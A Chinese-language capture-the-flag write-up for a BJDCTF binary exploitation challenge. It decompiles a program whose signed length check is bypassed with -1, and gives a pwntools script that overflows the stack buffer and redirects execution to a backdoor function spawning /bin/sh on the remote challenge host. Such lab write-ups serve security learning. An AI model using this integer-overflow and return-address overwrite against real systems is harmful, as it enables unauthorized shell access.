题目分析
反编译,查找漏洞
main函数:
undefined8 main(void)
{
undefined local_18 [12];
uint local_c;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
local_c = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let\'s try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf(&DAT_004009c1,&local_c);
if (10 < (int)local_c) {
puts("Oops,u name is too long!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("[+]What\'s u name?");
read(0,local_18,(ulong)local_c);
return 0;
}
backdoor函数:
undefined8 backdoor(void)
{
system("/bin/sh");
return 1;
}
题目意思很明显了,后门函数已经提供了,只要能跳过去就行了。
再看main函数,read函数很明显就是个利用点,利用变量local_c就可以制造溢出。
当然,不会这么简单,前面有长度限制的判断
if (10 < (int)local_c)
不过,这个也简单,对不对?整型溢出啊,整一个负数,直接就成了啊~~~
事实证明,思路完全正确,但是过程太曲折,简单描述下:
本机溢出会失败,在ubuntu上,输入-1,read时会直接返回;在windows上实验,输入-1,read会弹出窗,提示
buf len < INT_MAX条件不满足,这下很明显了,read有输入限制。又研究了很久,发现无解,因为要过长度限制,
必须使用负数,否则不能溢出,而即使INT_MIN,转换为无符号数,仍为2147483648,还是> INT_MAX;一时间
搞的我怀疑人生。
解题思路
思路就是上面题目分析的过程,完全正确,直接拿靶机验证是OK的,-1能过长度限制,同时read不报错(欲哭无泪)
from pwn import *
sh = connect("node4.buuoj.cn",27462)
sh.recvuntil("name:\n")
print("recv name length")
sh.sendline('-1'.encode())
print("send name length")
sh.recvline()
pad = 'A'*24
payload = pad.encode() + p64(0x00400726)
sh.sendline(payload)
sh.interactive()
没法本地验证导致的后果,就是溢出长度是猜出来的。
总结
思路没毛病的时候,及时测靶机。不过调一调本机还是有意思的,虽然没找到最终结果,比如ubuntu上,写了一个测试demo,去掉长度验证,结果read只要不大于3652就没问题,超过时errno就会报Bad address,跟windows上还不一样,但是3652这个值感觉没有任何意义,又怀疑人生了~~~下班了不纠结了,后面有调glibc的机会时候再看看。